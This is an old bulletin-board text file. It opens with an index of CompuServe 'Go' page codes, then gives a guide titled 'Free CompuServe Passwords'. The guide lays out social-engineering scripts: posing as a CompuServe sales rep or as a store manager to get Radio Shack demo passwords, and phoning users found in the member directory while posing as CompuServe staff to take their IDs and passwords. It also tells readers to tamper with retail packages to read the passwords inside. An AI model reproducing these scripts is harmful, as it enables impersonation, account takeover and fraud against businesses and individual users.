 Travel, airline guide:...Go OAG
 Travel America:..........Go TTN
 Travel Fax:..............Go ESC
 Traveler, airport guide:.Go PDG
 Trivia for kids:......Go TMC-45
 Trivia unlimited test:Go TMC-16
 UCSD Pascal Group:....Go PCS-55
 USDA Grades:..........Go GPO-10
 USDA standards:
  Meat...............Go GPO-1340
  Poultry............Go GPO-1405
 U.S. Depart. of State:...Go DOS
 U.S. News:
  Middlesex Daily.........Go MDN
  StL Post-Dispatch..Go SPD-1005
  Washington Post.........Go TWP
 United American Bank:Go HOM-141
 Used cars, buying:..Go GPO-1199
 User directory:........Go HOM-4
 User information:......Go CIS-4
 User's programs:......Go PCS-30
 VIC-20 (SIG):........Go PCS-116
 VTOS ST80 (SIG):......Go PCS-56
 Vacationing:.............Go WWX
 Value Line Database:..Go FIN-20
 Vegetables:..............Go VIC
 Victory Garden:..........Go VIC
 Video information:.......Go VIF
 Videotex, views on:..Go CVP-154
 VIDTEX executive:....Go PCS-103
 Viewpoint, CompuServe:.Go CVP-5
 Want ads (Bullet):....Go HOM-23
 War games:
  Decwars..............Go GAM-19
  Megawars.............Go GAM-20
  Space War............Go GAM-25
 Washington, D.C. area:
  Middlesex Daily.........Go MDN
  StL Post-Dispatch..Go SPD-1005
  Washington Post......Go TWP-12
 Washington Post:.........Go TWP
 Water, ground:...........Go WWA
 Waterline:...............Go WWA
 Weather:
  AP Viewdata Wire........Go APV
  African weather......Go CNS-17
  Asian weather........Go CNS-17
  Aviation weather........Go AWX
  European weather.....Go CNS-17
  Extended forecasts......Go WEA
  N. American weather..Go CNS-17
  S. American weather..Go CNS-17
  Sports forecasts........Go WEA

  State forecasts.........Go WEA
 What's New:..............Go NEW
 Wheat prices:.........Go CNS-12
 Wine information:........Go VIN
 Wire service news:
 Word processors:......Go PCS-86
 Work-at-Home (SIG):..Go HOM-146
 World Book Encyclopedia:.Go WBE
 World news:
  AP Viewdata Wire........Go APV
  Associated Press.....Go IND-52
  Washington Post......Go TWP-16
 Worldwide Exchanges:.....Go WWX
 Yachts:..................Go WWX

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   ASSOCIATED PRESS NEWS ACCESS

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 Financial wire:
  Middlesex Daily.........Go MDN
  StL Post-Dispatch.......Go SPD
  Washington Post.........Go TWP
 Sports:
  Middlesex Daily.........Go MDN
  StL Post-Dispatch.......Go SPD
  Washington Post.........Go TWP
 U.S. News:
  Middlesex Daily.........Go MDN
  StL Post-Dispatch.......Go SPD
  Washington Post.........Go TWP
 Washington News:
  Middlesex Daily.........Go MDN
  StL Post-Dispatch.......Go SPD
  Washington Post.........Go TWP
 World News:
  Middlesex Daily.........Go MDN
  StL Post-Dispatch.......Go SPD
  Washington Post.........Go TWP
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Free Compuserve Passwords, by Devious Xevious

                         FREE COMPUSERVE PASSWORDS
                             BY DEVIOUS XEVIOUS

     There are several ways you can go about getting cis passwords. The ones
with unlimited access are quite a bit harder but, first of all, the simplest
to get Radio Shack demo accounts. You can't they are still kinda fun. Good
for doing research.

     Use a one of the following scams or a variation to obtain Radio Shack
demo accounts.

#1

     Call one of your local Radio Shack stores and say, 'hi, this is _______ ,
i'm your compuserve sales rep., We are doing a update on our files, on all
stores in the ______ area.  Then, ask them a bunch of questions, like the
manager's name, store location, store #, etc...  If they tell ya this without
any hesitation, then you've probably got yourself a demo account. After they
tell ya all that, tell them that you will need their present user id that
they are using to do demonstrations of compuserve.  Then, the kicker, ask them
the password. If they tell ya, then thank them, and tell them if they have
any questions to call you at xxx-xxxx. Where xxx-xxxx is a number that is
always busy.  That should  keep them from getting too suspicious.

#2

     I use this one the most, because I started out with the previous method,
and switched to this one because of all of the info. I had gathered about
the stores in my area.

     Find out a manager's name of a particular store in your area, then
call another store in the same area. Be friendly, and say, "hello, this is
(managers name) from the (location) store.  We can't seem to get our
compuserve demo password to work and we have a customer here who would like to
see a demo of the service. Would you mind giving us yours until we call our
D.M. And find out what ours was changed to? As long as the two managers don't
know each other, you will have a demo account.  By the way, D.M. Is a
abbreviation that they use for district manager.

     Well, enough of this demo account Bullshit, once you have a demo account,
Log on to cis.  Go to the national user listing.  Look at the users in  your
area.  Write them down and then call information and get their phone numbers.

     Call them up and tell them you are ____ from cis.  Continue to tell them
that because of a security breach, you are going to have to change their
password.  Tell them that in order to do so, you will need their user id and
old password.  Take it down, pretend you are typing on a terminal or
something then tell them that it will be changed to ___________ make up an
official sounding password. Now thank them and again, give them a busy number
to call if they have questions...I find that compuserve's 800 number works
good. (It's always busy anyway.)

    The third and final way I will discuss involves something more than
talking on the phone.  Go into your Radio Shack, pull a cis package off of
the wall. Rip open the pack, read and memorize the password. Walk out. I have
been busted for shoplifting but never shopreading. When the initial hour runs
out,use a credit card to gain a additional 2hrs. Of service.

Have Fun!

P.S. If all else fails, there is always 77770,101 free-demo or free:demo but
that id is a total waste of time. Logon with it and see what I mean.

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